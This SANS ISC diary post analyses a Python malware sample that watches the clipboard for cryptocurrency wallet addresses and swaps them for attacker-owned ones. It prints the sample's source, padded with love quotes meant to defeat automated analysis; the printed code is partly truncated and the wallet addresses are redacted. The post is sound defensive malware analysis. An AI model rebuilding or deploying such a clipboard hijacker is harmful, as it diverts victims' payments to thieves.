Threat Level: green Handler on Duty: Jan Kopriva

SANS ISC: Cryptocurrency Clipboard Swapper Delivered With Love SANS ISC InfoSec Forums

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Cryptocurrency Clipboard Swapper Delivered With Love

Be careful if you're a user of cryptocurrencies. My goal is not to re-open a debate about them and their associated financial risks. No, I'm talking here about technical risk. Wallet addresses are long strings of characters that are pretty impossible to use manually. It means that you'll use your clipboard to copy/paste your wallets to perform payments. But some malware monitors your clipboard for "interesting data" (like wallet addresses) and tries to replace it with another one. If you perform a payment operation, it means that you will transfer some BTC or XMR to the wrong wallet, owned by the attacker.

Yesterday, I spotted a simple malicious Python script that performs exactly this.The script SHA256 is ab1ef55c9e4266e5a2b0870deefb609d3fa9d2c0ee8e0d34a2d7c080c84ca343 and has a current score of 17/57[1]. The main code is obfusctated in a Base64-encode variable.

As you can see in the code below, this script is delivered with love to the victim! Random love quotes are added in the script to defeat some automated analysis. The script is based on the pyperclip[2] library that is common in the Python ecosystem. It allows manipulating the clipboard. The fact that the script does not test if the module is already installed makes me think that this script is part of a framework or has dependencies with others.

The clipboard is controlled at regular intervals and searched for classic cryptocurrencies through regular expressions. If there is a match, the clipboard content is swapped with a rogue wallet. Two are two defined in this sample.

Here is the code:

#If I know what love is
import pyperclip
#I fell in love with her courage
import json
#If you live to be a hundred
import time
#A man is already halfway in love
import re
#Women are meant to be loved
import argparse
#You make me want to be a better man
from datetime import datetime
#Thinking of you keeps me

def main():
    # infinite keeps me
    while 1:
        now =
        time.sleep(2)  #Let me love you
        #There is never a time or place for true love
        user_clipboard = pyperclip.paste()
        #true love
        crypto_found = spiff(
        replacement_address = replace(
            user_clipboard, crypto_found
#love is so short, forgetting is so long
master_addresses = {
  "btc": "xxxxxxxxxx",
  "xmr": "null",
  "eth": "xxxxxxxxxx",
  "dash": "null",
  "xrp": "null",
  "doge": "null",
  "ada": "null",
  "lite": "null",
  "dot": "null",
  "tron": "null"
#cares and fears
def replace(user_clipboard, crypto_found):

    if crypto_found != 0 and master_addresses[crypto_found] != "null":
        return str(master_addresses[crypto_found])
    return 0
#until love’s vulnerable

def spiff(user_clipboard):
    crypto_regex_match = {
        "btc": "^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$",
        "xmr": "4[0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}",
        "eth": "^0x[a-fA-F0-9]{40}$",
        "dash": "^X[1-9A-HJ-NP-Za-km-z]{33}$",
        "xrp": "^r[0-9a-zA-Z]{24,34}$",
        "doge": "^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$",
        "ada": "^D[A-NP-Za-km-z1-9]{35,}$",
        "lite": "^[LM3][a-km-zA-HJ-NP-Z1-9]{25,34}$",
        "tron": "^T[a-zA-Z0-9]{33}$",
        "dot": "^[1-9A-HJ-NP-Za-km-z]*$",
    #I love you without knowing how
    for k, v in crypto_regex_match.items():
        if bool(, user_clipboard)):
            return str(k)

    return 0
    #A purpose of human life

#Love is always patient and kind

I checked the two wallets in the script but then don't show any transaction at this time.

[Update 1]

Brian Krebs contacted me to report a story he posted a few days ago about a real case of such a clipboard swapping technique[3]. This article is worth reading!


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

I will be teaching next: Reverse-Engineering Malware: Malware Analysis Tools and Techniques - SANS October Singapore 2021


641 Posts
ISC Handler
Aug 30th 2021

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